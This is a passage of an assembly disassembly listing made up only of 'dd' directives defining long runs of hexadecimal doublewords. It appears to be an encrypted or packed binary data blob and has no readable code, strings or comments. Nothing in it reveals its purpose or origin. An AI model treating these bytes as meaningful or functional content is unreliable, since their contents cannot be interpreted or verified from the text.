33C1BF88h, 0A2002A61h, 30B957BAh dd 17C9B0C9h, 44D7FA1h, 9E4C070h, 623C7EBBh, 3105A07Eh dd 97E7B0AAh, 641E7C64h, 75022CC2h, 8816A3C4h, 0A30859EEh dd 83AD02F6h, 0F160207Fh, 6E4A6B84h, 2A514C43h, 0C83C4F3h dd 0A2164E8Dh, 9240C543h, 26FBAC90h, 0C462484Bh, 51E233B5h dd 9D898A20h, 77C90B75h, 6842F647h, 0A1A9781Ah, 75C27721h dd 0D562EADEh, 0C745575Ah dd 4B68BD4Ch, 2F13A17Ch, 816964FFh, 510A6Bh, 2E1B9h, 0C981192Ah dd 13830FFAh, 0E8FB557Fh, 314FE034h, 0F5BD00ABh, 1B5D1456h dd 3653E918h, 4B10540h, 572EA639h, 22A3AB55h, 1FF3BB03h dd 0D8CA1B1Ah, 7B96DB61h, 6C61CD20h, 58502C19h, 7D2C0DF8h dd 32C46BADh, 692FCEEAh, 639C755Eh, 5A0EE913h, 2312CFEh dd 370BA98Bh, 684A0A82h, 0C5D51526h, 1F8A31C5h, 9AF95170h dd 0E0322E05h, 5E09C0BBh, 5BD0C179h, 0F34AE025h, 4B2E9A8h dd 0E2A2799Dh, 0BB00D622h, 5C166766h, 80713C6Ch, 3CEEDF29h dd 0DFF6E34Ch, 66AD4BC9h, 0B664E023h, 15654A36h, 0B262E0EFh dd 25E8A1Ch, 727668E1h, 0A4C4B668h, 0B7E93057h, 3FF4BF59h dd 50C0B058h, 5A95D9F6h, 0A1F8FC78h, 0A23EBDA3h, 58D89105h dd 70B3015Ah, 0BCE94C9Bh, 7F4C3378h, 5EFEC604h, 6BF48147h dd 0F3FF9607h, 775B8C01h, 802F2526h, 0FB43D34Dh, 220C2F60h dd 0BDF199CFh, 0F4C8D3E8h, 0C48D8F94h, 0E22B9F5Eh, 43E915EFh dd 0FBB85E9Eh, 978021F4h, 31FA2A72h, 6E523CE0h, 20ED4A90h dd 515929CAh, 0D0886390h, 0A08AB94h, 0E581018Ch, 700D1201h dd 0AB9DE20Fh, 4F04F550h, 0DE280342h, 6CC41466h, 2096D884h dd 0ED83451Ah, 0BD5F017Fh, 19EB1790h, 5814302Dh, 1016210Ch dd 2A68703Eh, 0E3984740h, 0EC414441h, 0BF0435ECh, 0A04E2AA2h dd 50B8DB9h, 8549158Ch, 3200C72Eh, 58D5807Ah, 5EDD7D29h dd 2B80A1D9h, 0A6F78EF9h, 0F6041F30h, 105422ABh, 0A8D31483h dd 4801498Eh, 84107F5h, 123E0B61h, 0DD8AEB8Ah, 0BA97D8D0h dd 340B47D1h, 2FC9CD7Fh, 0E72010B5h, 3F081B48h, 3CB01D41h dd 5B5A8C0Dh, 527CF5BDh, 5A2F0C6Ch, 0A8B77AD1h, 1D921390h dd 0B5E6935h, 413824FDh, 0F6FA16D5h, 1921D3BBh, 0A781ADDEh dd 3883B5F1h, 4BFA3C25h, 0F02EACA1h, 6B4006A4h, 0E2729705h dd 0CCAA5B4Ah, 1B5E43E6h, 0F413320h, 2035268Eh, 4D5F882Ah dd 0B7255416h, 93C5A7ABh, 60DCD9AEh, 4881E6F7h, 9F9809D8h dd 22A5B651h, 0F51EB655h, 0B87D5599h, 4A8CD0FAh, 74B94C4Ah dd 8512F0D7h, 0E4F64B45h, 61AEF6C5h, 0F480167Fh, 0E5E121CBh dd 7752023Dh, 0F3400DDEh, 39689287h, 9CCE044Dh, 8254352Bh dd 0E5905749h, 0EF3B086Fh, 47EA80E4h, 17A9BD55h, 0BB225615h dd 0D5458B56h, 11C25D51h, 277954F5h, 19691CF5h, 989CC884h dd 276E3932h, 0F3C4187h, 0F348C76Eh, 465B0BA2h, 5C2D15ACh dd 0D15922E2h, 0E7109724h, 61225F37h, 0AD1B2275h, 75E55218h dd 4A8C06B1h, 0D2D6F75Eh, 891DEF60h, 54515DEBh, 180C8353h dd 0C04CCE07h, 0FB9717AFh, 41A53EFCh, 645472C6h, 722CE9A9h dd 558A6A76h, 9ABE120Dh, 5D1ACBDDh, 0D74D63FAh, 86552C4Fh dd 0C5E46514h, 0C8EBF388h, 754BB740h, 58D776B4h, 2F7BA927h dd 88C6E61Bh, 3F0166D2h, 4833135Dh, 3D3FC16Bh, 0BF5700ABh dd 907C1339h, 44B4EE2Dh, 7E9E3931h, 7147E90Bh, 0DF9DC0E6h dd 4C81E41Eh, 27643B52h, 0F295E00Ch, 45B80BBDh, 65805491h dd 59FD4E1Ah, 55E89CC1h, 0F47B49F6h, 0F80FF159h, 0C6645A0h dd 3956D170h, 5DA5C689h, 9FC58974h, 2D0F2388h, 365FC8BFh dd 449AA18Dh, 2E830907h, 92D1FD08h, 1D4F3BBFh, 0B71A0F03h dd 54D6D421h, 37701CADh, 3E62FE90h, 0F9D44D4Bh, 0BA2C9213h dd 0EEF07269h, 0E9105178h, 749A0C84h, 0C68BC0B3h, 0D9306C98h dd 291A1840h, 0C6861ABh, 604B200Ah, 0C65CD7A9h, 30B4A715h dd 5805FDACh, 0BC024468h, 0EBB4E5E8h, 0C578062Eh, 0B30B810h dd 125B56BFh, 4A4BF6C6h, 61A14BF9h, 0DEFC0456h, 3F597800h dd 16800D67h, 353BE001h, 66888EC0h, 69C2D644h, 55D7B2F0h dd 7D272F47h, 6FA88100h, 595E3FDAh, 88EE7344h, 7ECABA00h dd 427B4332h, 1CB9F07Dh, 82BDC81Ah, 565FF1C8h, 0A4F48147h dd 2A29458Ah, 0C4D1C1A5h, 2CC13834h, 18CF07E3h, 34F631F1h dd 7C88B817h, 0BB535080h, 0A71239A8h, 43DBF70Bh, 0F27D3585h dd 0E1D58BB6h, 0F8395D18h, 3FEF417Fh, 0C24790B0h, 0A759ECDAh dd 0E07E25Eh, 7FD9D977h, 612489D0h, 31A4F730h, 58731981h dd 0EEE15E2Ch, 60EA0745h, 622EFFBh, 59DE7A65h, 2C2C57B1h dd 0CCA20ADh, 3CDD6701h, 4D04E5C1h, 6BC9CE35h, 0A68C0F00h dd 25A41A4Eh, 3D5115B1h, 6E4C9A34h, 0DA370101h, 795AE941h dd 51D3255Ch, 92EA60B8h, 7E180B63h, 0E17CDA01h, 74F53036h dd 19E95674h, 881CD4BAh, 0DEC952D3h, 17728F53h, 0EAFA8504h dd 10A5BA00h, 895F1949h, 6D0419EDh, 0C02C756Bh, 0D61A5F25h dd 0E00C2D61h, 51E014D2h, 4EE97189h, 2F59B1FEh, 20E639EFh dd 84188F6h, 0E4907CF6h, 20CED5FBh, 916B09A2h, 0CDCD6350h dd 43B87109h, 72A28046h, 9D4C551Dh, 0EEC1CD01h, 0E6D3005h dd 13063A10h, 3D8AC4Fh, 1BE64C9Bh, 0C2949A81h, 16636085h dd 8B618211h, 2D0862F9h, 455B5807h, 0F251E4FBh, 20AA885Eh dd 7394E9C1h, 3ABB3CC1h, 78681A19h, 104C6E05h, 45DA0131h dd 40036604h, 0E94B06E3h, 5F362938h, 6DC460B9h, 85C014E0h dd 0F1BC2E4Bh, 0CC6A01C5h, 0AA2D6852h, 41BDB47h, 8066BD2Eh dd 0D771C31Dh, 9F4B1024h, 6156CA13h, 0F11828B3h, 0D78814A6h dd 8C6596EEh, 61AFE74Dh, 6FEF8EBDh, 7BB84644h, 2C04AA12h dd 0C1AAE4EAh, 75D9D77h, 0CFE86039h, 0F23297C7h, 0A03EC4FDh dd 80704D3Dh, 63128C2Dh, 79FC60FDh, 4CF78101h, 7169C122h dd 788C990h, 8481DFB7h, 9247EB5h, 0E98B25FAh, 317F0D62h dd 0DFCE253Eh, 95057446h, 8805B753h, 6FA93681h, 250BF7A4h dd 8BBC2FF1h, 555B58E6h, 0D82845A0h, 0D1B4B1E9h, 80D6073Ah dd 0C1334FF1h, 66E5E9B7h, 17F42A74h, 2538044Ah, 0B894AA44h dd 0A46EE9EFh, 2D7CEF08h, 6D079177h, 8A2B654h, 99AD8B9Fh dd 28758B11h, 0A0EBD28Eh, 29BC797Ch, 1E1C6805h, 0FCE94130h dd 0BB44B61Dh, 93C48DACh, 1ACAAB31h, 16C57D76h, 0B5030873h dd 0FC0804F8h, 0C5C0283h, 9389D157h, 6DA8A1ECh, 0D9F75D35h dd 0BF2A7C2Bh, 0FEFDC40h, 0A010701Eh, 174943F2h, 14F3375h dd 2376DB78h, 1F1ABA64h, 31C5517Bh, 46C05FF9h, 4C1B18D7h dd 9D01AB5Ch, 10F0412h, 27131CAh, 0D7E35908h, 3306739Ah dd 14DC5B91h, 1C203878h, 0B86A0295h, 0F2890F62h, 8F69B6A9h dd 7CB5FD52h, 81591DE6h, 6307CDC2h, 85914194h, 9B743789h dd 922025E6h, 0FC5D4A7Fh, 72F2A793h, 0C1EE7F99h, 6D0D5A90h dd 0D817B538h, 8E3CE57Bh, 0E273050Ch, 58A2E960h, 0CA5D5BBCh dd 0E6E65F6Fh, 9138E9C4h, 6D3668E7h, 3B6413FFh, 0C9DE52F9h dd 67DAA923h, 5E66EC20h, 0EA4AA45Eh, 21F26AC0h, 0A00A425Fh dd 2774F9E4h, 88DF1338h, 0A62B082Dh, 0F2982834h, 0BE294022h dd 2AB3025Eh, 0AC98174Ah, 0ACAFF4AEh, 2C8CC501h, 0B8CBCC20h dd 5E47092Ah, 0EC81D3F7h, 2EEC335Bh, 0FE083FC2h, 0ADD64F92h dd 100293D7h, 6C3C9168h, 7869BF9Dh, 40C6D329h, 44D3320h dd 0F11EAFBAh, 0CC5BFE4Eh, 0E8F5B242h, 0B3C6F54h, 0F8E902A6h dd 556E1255h, 7A22532Ch, 5EB56817h, 7887A81Ah, 0C0DD4AF9h dd 0DEBA66D2h, 25DB355Ch, 7514D5D1h, 1AC2F7FAh, 5F1E4868h dd 0F5F02A52h, 5E7EBA7Fh, 494D78B5h, 0BF244DB9h, 8C70A99h dd 0A30E3ED1h, 0B684F738h, 0C504B93Ah, 2493DF68h, 2D10A3E9h dd 5C04E0Ah, 14BDEB2Eh, 0BFC098C1h, 28B946F8h, 0EF840543h dd 4FE9E29Fh dd 0B094DF37h, 0C04F1FF8h, 7B9442ACh, 5C95BD4Eh, 0AE5E1A16h dd 3E940520h, 5AEC0BABh, 0F8519410h, 46BAF183h, 55109166h dd 36B80056h, 4057172Bh, 1A8D480Fh, 297C3362h, 0A74B5509h dd 3ABCDAD1h, 871649ADh, 5BFBFC0Ah, 148BF6A9h, 53B75478h dd 4F3501F6h, 609DCEA6h, 0FEB05261h, 2F5B7F3Fh, 0DD70E275h dd 0BA873AE5h, 606B44B9h, 3B2145F0h, 0CA00F990h, 3B0D0E2Dh dd 352F860Fh, 683ECA01h, 545A687Ch, 1512562h, 0F2B7D1B1h dd 0DC59CF28h, 0C1BD30DEh, 0DFF2C341h, 59EBC087h, 0FBF593C2h dd 936841C5h, 0C48E3817h, 0CA1570D1h, 18E8C182h, 83208EF8h dd 1F0E0B4h, 0C05A4E04h, 0D1FE03E0h, 73A3202Ch, 0C8422D41h dd 0A4F5093Ah, 3BB02952h, 9B481208h, 60490219h, 0C8E07946h dd 0C1822E8Dh, 0C0757D3Ah, 5B9D1C60h, 0D0794127h, 7B18B135h dd 8400EFCh, 0BE09F5Bh, 5808DA8h, 3216046Eh, 85595009h dd 3E85A886h, 384A85BFh, 36C24F70h, 2D8E7E08h, 0DCC2F85Ch dd 0E88A108Eh, 1918B875h, 0E6B20E24h, 9A41D6Fh, 2CEB429h dd 0E7E95808h, 0D482216Ah, 0B49031C2h, 285D49B6h, 0F6E90B32h dd 0CCB7CBE7h, 0ADD2F7ACh, 0BE11506Bh, 0D8414427h, 62060123h dd 16E91BA9h, 0B9328183h, 33526348h, 0FF60B4ADh, 0D7B85055h dd 79C22C26h, 5D0B7F18h, 58C51631h, 4390AB29h, 0A88CEAE9h dd 81D9CED4h, 61F27E59h, 4F60BEB5h, 5B2951E6h, 505EB835h dd 2CC0875Bh, 0EDC0CDFEh, 0D1609D08h, 0D55020F4h, 48F68080h dd 4105F5E6h, 6E9E828h, 44222D3h, 1315527Ah, 62C9012Dh dd 20255A8Ah, 3364EB3Ah, 5296E82h, 0F6A2AA5Fh, 0BBADDA84h dd 0DBA1E4A8h, 0DCF601D1h, 60271530h, 0F4801C8Fh, 396BE9BCh dd 256DDEC5h, 1914D75h, 0CD5745EBh, 10BB3B44h, 5D3F0826h dd 0E2F6B5F7h, 251AC57Ah, 10D8E477h, 722B3B84h, 84BA774Ah dd 4A19E645h, 5F9C79E4h, 0BB9B255Bh, 549493CBh, 51DE8227h dd 4A3F6878h, 81256528h, 24D81215h, 66B5B45Bh, 5ACFF011h dd 8248A65Fh, 0F7D4AAE9h, 9713FDA4h, 624EB256h, 16BFE6D1h dd 0F1AD3604h, 0BDF31393h, 9E094E11h, 891EF405h, 3250D6E9h dd 0E476F9B5h, 1EB6B3DFh, 0E9453158h, 7E018DE5h, 0BAD26954h dd 0B05B2C92h, 97757B91h, 44D7212Ch, 0C54B2D10h, 0A485BF4Bh dd 7846E2EAh, 0ACB7F9B7h, 0DF6F09C3h, 0B69E6656h, 1074FB0Ch dd 447D02B8h, 0E8D176DEh, 8262340h, 7C1FC427h, 97050195h dd 0D401A92Eh, 0D9006CCEh, 20292D7Ah, 4EE923A6h, 0A8758553h dd 9BE74A08h, 0F6F1F48h, 0ADCE8F85h, 0F00332A4h, 0F028020Eh dd 6859C040h, 9867B225h, 39808C98h, 0F289C4CAh, 0CC7C2862h dd 0AA67AB0Ah, 6073B362h, 0BD34DA6Ch, 0AD202964h, 880F16FCh dd 0C6FD20D9h, 0BD5057FAh, 9FBC9FFFh, 0B838C623h, 13285819h dd 0FB444D6Dh, 74AD6468h, 4F394C81h, 87CC4008h, 0E27CE51h dd 761DE009h, 97FD9261h, 0BB022571h, 5E5B3755h, 0D8A4390Dh dd 0BF005AE0h, 0C8693205h, 800F1905h, 56AB22A8h, 6BEA0BE6h dd 36DDD9E2h, 0A539A5F9h, 84CB1257h, 2BE82633h, 7838AE5Ah dd 0E839542Fh, 5F57EECEh, 311D9947h, 0CAC6A6Fh, 8A85E90Eh dd 0EA55121Ch, 0F46FE6C9h, 3E34EBFAh, 4382465Eh, 0B7DC5555h dd 0AD455CADh, 3AD8589Ah, 0E5E769A0h, 0E93AD305h, 0B2EE98C9h dd 2D88D03Ch, 4D98DDECh, 0C9BF2A51h, 0FD7F8DB9h, 16A506D3h dd 1A41160h, 3A35CE2h, 0E293E950h, 685011DEh, 33C6951Bh dd 0FB75CB95h, 0C77B1338h, 0D608FD7Fh, 0D84BA2B8h, 5F59FA7Fh dd 6B12964Eh, 612124E1h, 0DC2ABE3Eh, 0A724366Fh, 3BA544h dd 6BE168D3h, 0A7B92AE1h, 0D50FE985h, 603C0E28h, 0A350142Ch dd 0E291E8BDh, 8ED55C88h, 8006ED02h, 0E751CE5h, 1FC5C04Dh dd 0B52D4CE9h, 5744B0FBh, 873A47A1h, 0E0261F05h, 0DA77EF15h dd 6BCA3055h, 0B12FEEEDh, 41EBBCD2h, 48DF1BAh, 11C7C600h dd 5CD15CBEh, 2324E1EBh, 8BFFAF69h, 69CF7529h, 89F5BA81h dd 0FA2F90BFh, 0B10E4A2Dh, 0EF4EEC3Eh, 26E91DD8h, 84182A7Fh dd 0EC39DB85h, 7C0E9318h, 0E2D95833h, 8D40B774h, 1883CDD2h dd 219788D6h, 82430EFh, 330842FCh, 0D2F182B3h, 84DF682Ah dd 13EFD467h, 2C61AE54h, 51500CF8h, 0BF213868h, 0D408B918h dd 0AEEF37C0h, 90480B4Eh, 6E3A2EAh, 0B0E5B08h, 31731B84h dd 46E5C8F8h, 0D8161C08h, 0DE200971h, 0AADD99E9h, 655CC0E9h dd 0E1A2BD5Eh, 8209AC73h, 776938CCh, 0DBA085E5h, 0DFBBFF4Bh dd 815C2707h, 0B058E915h, 0B64071AFh, 0B1160760h, 0E60B5F0Eh dd 96F0D828h, 1B6152C0h, 2F20320Ah, 5958E1EAh, 4F3A83Eh dd 2B4D7FC2h, 6E0A35C4h, 0FD61B4A6h, 0D9CB0C02h, 0D82E6772h dd 1459462h, 84EF343Bh, 25AEB86Fh, 4022565Fh, 409D32BBh dd 14D1012Fh, 0DB22C075h, 53127229h, 650013B8h, 4654F455h dd 168DCE81h, 915F973h, 96293A4Bh, 5762C6D9h, 0C5B32660h dd 22AF595Fh, 6F6A7B41h, 0BF5A4CDFh, 570B39CCh, 0D7536EE9h dd 0EDECA99Ch, 9551AF3Dh, 40A20125h, 0C234E908h, 1AC29DD2h dd 9737700Eh, 0F198443Ch, 0A5A96D58h, 4038AF82h, 0C952B8ABh dd 6E01623Bh, 0F4371A32h, 0E4601583h, 4CBFE839h, 0BDD34F67h dd 3E13100Bh, 0CC30B71Dh, 0B50EF227h, 0EA884407h, 64318059h dd 0DA44FE52h, 8E26D81h, 5FDA9AEFh, 28EE9983h, 445867D7h dd 0C2B1EFD3h, 68096E39h, 35C60E4Eh, 6CB6692Dh, 0CD815B11h dd 12A4E017h, 13532C94h, 0FDF9E951h, 0F8EA3E14h, 0D1B78EFEh dd 68C6CF79h, 0BF0B2C23h, 0DDE602F5h, 43474C00h, 0F75C5E1Ah dd 0E3B57DF6h, 0DA404E16h, 40D14B31h, 0C004C8E0h, 1A0530D4h dd 8E26727Bh, 8B9F6F61h, 3C7F2CD9h, 89173DF7h, 69B5872Ch dd 0A9133A84h, 0F668C272h, 605DDE41h, 2A9C011Bh, 10E57297h dd 487A3A8Bh, 93F54F6Dh, 0BFD05335h, 951578E8h, 5FFA157Ah dd 0BEE45497h, 0BD403BAFh, 0F79522DDh, 13437912h, 53CB8D03h dd 0DA0D181Bh, 9D10D0B8h, 0FD25E795h, 0B870FAECh, 20AD2E16h dd 80402FBCh, 0E2CC5B58h, 883B84A8h, 0FCBE01D4h, 0A18D8D67h dd 95B6E2D4h, 35C0D35Eh, 252C3287h, 72652155h, 0EEA074ACh dd 58ED6839h, 0ABA8DEE4h, 45025F5Eh, 60DBF005h, 31E9FA95h dd 0B32A1660h, 2FD8C1C5h, 0BC5FCBE6h, 70E57D1Dh, 0E9164FF8h dd 80B262ABh, 78F0EB02h, 4A60318Bh, 0CA102607h, 3B3A4E19h dd 10DB893h, 372AD5DEh, 7532AD56h, 2DF7B0Bh, 23978B5h dd 0A360C183h, 0F4BF9542h, 536687D6h, 0D16CB252h, 1AD5954h dd 5E2AFABDh, 2F16093Ah, 0FD87807Eh, 0C9C0E23h, 985CB07Ch dd 8AD72733h, 462DA666h, 0A59D5B6Bh, 567535EAh, 6D12C08Ch dd 0CEF0759Ch, 0F75F597Bh, 8C012529h, 57024839h, 37ED4840h dd 1DC645E9h, 2D5C0F44h, 860A478Ah, 0A5D33C7h, 544FEF1Fh dd 52ECFDE5h, 7EC070A2h, 588185EDh, 0BB4B2C62h, 2FBAFE85h dd 0F0E9093Fh, 41297A7Ah, 1E87F63h, 0EA803684h, 413F048Ch dd 0BBB870CCh, 2F93330Bh, 1FE055C2h, 0AD2DE9D9h, 6BE454E5h dd 5BDAA4FDh, 550A00AAh, 0E9223817h, 0E60F9025h, 45210413h dd 0C14E1142h, 6E309BDFh, 8A8165B9h, 6ED889C7h, 6358FB9Ah dd 55097156h, 68AEE7E9h, 9E6287ABh, 287D65FFh, 3E0D4178h dd 13FBB284h, 0A43EACE4h, 0E95242FBh, 3EC67CCEh, 3E5F2FF0h dd 5F0BA7D8h, 0C175AA71h, 98649AA8h, 2865A0FBh, 3871D15Ch dd 18F933C3h, 0E6B11040h dd 98543DA0h, 8617DE19h, 80828220h, 8705E138h, 0D706E11Ah dd 0C7F7E9E2h, 0BF923F49h, 2728EE74h, 0F6324A90h, 0AA044EC0h dd 79B62261h, 487B7910h, 0E5180782h, 0A2B4ED6Eh, 0A2E89C94h dd 2C28BE5Bh, 1B489D5Ah, 8DC942EBh, 27405385h, 805BC6C4h dd 0BBD3C85h, 27372B4Bh, 0E9732101h, 282F08D6h, 0D94BFF98h dd 9D608FC9h, 0BE3C165Ch, 50C2B825h, 752D6808h, 2CBF062h dd 0D4647EC1h, 0F0DDBD55h, 45E92E87h, 31AD8471h, 13E6BED8h dd 0DC23D025h, 50C116EDh, 0C4B32AA8h, 0EFF6622Ch, 0EDF6D924h dd 0ED6010B9h, 1C30EE4Eh, 17E5C981h, 40DC036h, 0EB5DB65Fh dd 8B074AB6h, 0A0E88AF1h, 0E454F5C2h, 8EED034Ah, 1C820841h dd 5A746C19h, 81A513C5h, 3007684Ah, 10F0322Ah, 0B816B4D4h dd 0F865C4AFh, 3B5B3F8Dh, 981CC94Fh, 99D67BC4h, 6E32BCA2h dd 0C1F55BD5h, 0B76CB548h, 4B226809h, 0DD646456h, 5E33E8C2h dd 7E3D607Bh, 0D09777AEh, 0BEF6D3E2h, 0E91792DFh, 51A1C295h dd 595961F4h, 5892E020h, 0C80A5E7h, 0C12E2369h, 102BE05Dh dd 0AD5F8830h, 6B8187D0h, 0B8054008h, 543F140Bh, 168C8B40h dd 52EAF4C6h, 1DCD309h, 0D79B77EBh, 0D31DCBCh, 0F32A50Bh dd 0E3C0F76Ah, 0ABD2EC68h, 3BDE4E0Ch, 3BE84C21h, 9D7FFD3Fh dd 0D9520F54h, 9D56B05h, 0D8657796h, 829497BFh, 0CADEBEBDh dd 0BB9C632Eh, 403E8424h, 2DD62CF6h, 0C5121C5Ah, 0D3B71CABh dd 2B1FB0F5h, 44434117h, 134BC4FBh, 9256B208h, 4F620AE4h dd 0DE0DA964h, 16454CCCh, 5A529FBBh, 0ADF86995h, 746F1335h dd 255EF835h, 25FE5A2Dh, 0EC55A839h, 0D801A197h, 835C00FEh dd 0E99702C3h, 0B57A1E5Fh, 23732071h, 7CC86C13h, 30FD5AB1h dd 0F14E1B3Ch, 0C3E02416h, 0B1515800h, 8BB2527Fh, 78EA0C80h dd 0DD0AD2F6h, 612C2F0h, 7E41A4E9h, 0FC6A8BBBh, 7998B03Eh dd 0A0039517h, 172385FEh, 59DEB3AFh, 823F592Ch, 54782CE9h dd 0E8A41DBh, 21992979h, 81559F45h, 0D1C7B7EBh, 207B61EFh dd 9397167h, 56EF5EB6h, 0FA3B0559h, 85AD801Ah, 0DF027086h dd 3CE9EF31h, 0B85C57C9h, 0E2D190C4h, 0EC3FD031h, 28FED726h dd 61401599h, 0E48F5C66h, 0D41D2712h, 1049BE18h, 8BFCF15Dh dd 0B1C1C2E9h, 82A7DB80h, 0F776E0A7h, 0DFD25A9Ch, 144AC08h dd 0E35D3BBAh, 5C07300Bh, 80950AF6h, 0D8230D2Dh, 8042B7BFh dd 14CC487Dh, 13C9F645h, 0A4896BE9h, 0EDA081CFh, 122D6D69h dd 12BA585Dh, 0FA5F9517h, 5B08F507h, 0CDAB4C55h, 0A8110430h dd 71FF972Eh, 811CB0ADh, 6F68BDA6h, 93E84E97h, 547CBFBAh dd 9B7569h, 32FB314Bh, 65F089DEh, 6EDEF697h, 0C549BBB3h dd 0D6A05DA3h, 4AF8DCF1h, 0CD09CB12h, 0DCF73909h, 1E6E63EBh dd 72EF2B27h, 15C59C79h, 3D4ABA7Ah, 52F96FF8h, 402D95D4h dd 0B316D144h, 21096608h, 28AC592Ah, 6679E19Bh, 0A4EEE909h dd 0F67EECF5h, 0BF2C4A7Eh, 25501661h, 0A0D58C7Bh, 0AF4B6A43h dd 58B74349h, 56040236h, 209A685Bh, 0B35339A0h, 0CB48FE77h dd 80C803D1h, 0C428DFC1h, 853D2C83h, 4FB0E7ABh, 1A35C580h dd 22EB2738h, 15711050h, 0B6F0FD4Bh, 669A2DE9h, 0D1627F54h dd 0A519C9CFh, 5108CAE4h, 707D529h, 0ED1A0AC0h, 20DCB846h dd 5B094497h, 0FF8C2C58h, 0D193660Eh, 6E5AE913h, 0A413BEC4h dd 1A0CBFAh, 45EB5901h, 2A38E9C1h, 0ACD98113h, 82D6A17Fh dd 0D220D34Dh, 5BC7E6CAh, 6E548802h, 2E68FD40h, 72B03035h dd 69669180h, 12C0E12h, 7D0273D9h, 0C125316Ah, 0FE058CCFh dd 188A13E2h, 39B99495h, 94F2A4Ch, 457F2975h, 647FA7DCh dd 43F3B6EEh, 12055BDEh, 501779Fh, 94FB0594h, 0FF0B095Bh dd 65A6D15Fh, 0C442F357h, 11142168h, 0E16A53Ch, 0ADE495BCh dd 26816BBh, 6069EDB6h, 4DC4375h, 12E95E75h, 17D9B971h dd 3FE942D3h, 34953E84h, 5AFFFF85h, 0A1FF0CCEh, 0C219E9DAh dd 0C831288Bh, 6E632BF1h, 0EDA30E76h, 6FC7BFA7h, 0E4687C55h dd 26EB5031h, 0A8043FC0h, 93C1B49Ch, 4781570Ah, 2674F9C3h dd 0FDF3D866h, 0E1DB7E17h, 878F3804h, 5BA7550Bh, 0EB5D0501h dd 31E9A1CCh, 0DC9969F7h, 66800B1h, 14EC9F1Ch, 1B059808h dd 8FAA0138h, 0D8C12094h, 752DE908h, 0EE847253h, 0AA7B4A44h dd 2B57084Fh, 0B9B5E1D7h, 80C9BD2Eh, 4F413D9Eh, 414C4601h dd 5BCF260Ch, 27280BF1h, 0ABCDE9B0h, 970F86A4h, 6D3B5B5Ch dd 0E5EC7938h, 0F01501ADh, 468F0F3Eh, 0ED19813Dh, 0BC0DFA67h dd 75BA460h, 88094D41h, 382D60C6h, 704CD816h, 39D28C56h dd 123FEB68h, 0BC6CAF81h, 0B8500253h, 67F47844h, 8209A284h dd 85CBA977h, 813DC0B5h, 7C75D0CBh, 0D9DF40FFh, 194BFB7Dh dd 0BA17FBB8h, 3796EB7Ah, 632417B0h, 1045F8ADh, 5D255239h dd 55CAF3F6h, 80046710h, 0FB5968C6h, 7288A1A0h, 0ADE55CDCh dd 0A92C6978h, 9410358Ah, 542FD852h, 0DBE8D76Bh, 3576736Ch dd 1D14C971h, 0C43384h, 5B0D6DA4h, 3A2B8905h, 26807D9Dh dd 29139864h, 7A32DC8h, 59110CADh, 8041116Ch, 6E95EA31h dd 8812D306h, 53420BEEh, 668BC5DCh, 0E1737459h, 731DC268h dd 0F3512492h, 2DAFF512h, 2C95F534h, 7F65E05h, 1EC65A10h dd 0EEAEC148h, 246E273Ah, 8CBA6CCBh, 0F20E2D9Dh, 0A16F210Ch dd 3DA24328h, 7EDB13Eh, 27115A07h, 9EF15FDh, 36FE565Ch dd 91D73C1h, 2A47A12Ah, 0A6675DE6h, 0E946B1F7h, 0CC007B7Dh dd 1FE2815Ch, 64A4251Dh, 6679A560h, 0EBFA7E77h, 0D329BF12h dd 2EBDEC04h, 92C72712h, 26C86917h, 351F5BD8h, 4E567FA9h dd 973F3F04h, 0BC80E907h, 6D40B30Bh, 84ACB08Ah, 970473C9h dd 84BFA4E3h, 85748452h, 7A8CB16Ah, 707C48A8h, 5C958420h dd 685A78FEh, 0D2FD2D5Eh, 4A864B10h, 680BEEB3h, 0AB15C50h dd 75E8C1E9h, 9CFB2044h, 80D1F605h, 11C28DC9h, 0D4C2FFD2h dd 0D976BB57h, 0DD8B423Fh, 8AE417C2h, 0FA6BD8FAh, 88095C10h dd 283A72F6h, 0C9BD90D9h, 0D960FEBCh, 74834F57h, 9393FD52h dd 904439FBh, 0AC5EEA82h, 0EEEC4F76h, 0F4E6A207h, 7513F261h dd 0EB884A5Ch, 0FA010199h, 2F108768h, 71F518Ch, 0F7283102h dd 40EAFED8h, 4D3F89A1h, 0F855DE12h, 6231B02Eh, 0C58816D5h dd 49EE7C5Fh, 7A276079h, 5AD2BF27h, 2849E8B7h, 40D78269h dd 59C77F61h, 4148CF6Bh, 34DE1916h, 638BAF89h, 4E5FF010h dd 0FB7BC5BAh, 56987EA7h, 6794B954h, 2EADDEE9h, 2F808B85h dd 8B9C8E14h, 0A50C435Bh, 3D12BE4Eh, 28EFC601h, 97F6F5Dh dd 0ADC008A8h, 305AA1B5h, 508214ADh, 0D7EBCB0h, 0D4E91D07h dd 0E3C10448h, 7BF48003h, 0CE7E6A6Fh, 68477325h, 0A9561F89h dd 84F5E6D9h, 0AE4E986Ch, 0EA217A9Bh, 0EB8215AEh, 0D544E770h dd 386433C1h, 38BB181Eh, 4AB36837h, 654A8C04h, 0DE160748h dd 7008F0D2h, 68D62540h, 799AA208h, 0ADF5D2E9h, 616EA084h dd 9359E4A9h, 42AEEB39h, 7B8D68B8h, 5B8306F1h, 4E298416h dd 573F4BAEh, 0C084B0F7h, 0FFB090Dh, 0AF7FE6C1h, 734D82B8h dd 89C98909h, 8E127CFEh, 0FB925350h, 8E49B31Fh, 0C291512Ch dd 47E1EB01h, 0C6A581FCh, 2942788Dh, 4DEEED8h, 685D0740h dd 0A830AE66h, 26EDCFBAh, 162CCC6Eh, 2139BE3Ah, 96E1BF9h dd 8EF555AFh, 20EB8421h, 0C0A384BAh, 426D74CDh, 6F50E0BDh dd 6563371Fh, 303F20D8h, 0E249D121h, 35EF00F8h, 69E9FC03h dd 0F7D8835Bh, 6486475h dd 97F93E90h, 0A6B2540Dh, 3FE812B1h, 0B1490EF7h, 0DCEA6814h dd 0AA57288Fh, 0E0E9A829h, 0EBBC906Fh, 2D512521h, 0EAD62AF8h dd 5A671F6Ah, 27E9844Ah, 2430AE7Ch, 0CF71A568h, 2D30DD61h dd 0FEBAD55Ah, 8029F07Dh, 2F077586h, 0EFDA4620h, 30016698h dd 0E93E8D0Bh, 0DD486A7Bh, 3A401788h, 0A6360044h, 1254E24h dd 406CF14Ch, 5B6F5E08h, 8D2B4D8Fh, 9F59653Ch, 5E683910h dd 9CCD47ABh, 0F757003Bh, 5F32E9DBh, 0C0423459h, 9D50292Ah dd 3BC6BF48h, 720D4C10h, 0B8329717h, 220C9E72h, 5D158B5h dd 0EB840FEDh, 27CBBD2Bh, 5093F45Bh, 7397519Bh, 6ED6A56Fh dd 4147D42h, 0BC53805Ah, 464FDA43h, 0E6C74AACh, 6FAE123Eh dd 0CC37807Fh, 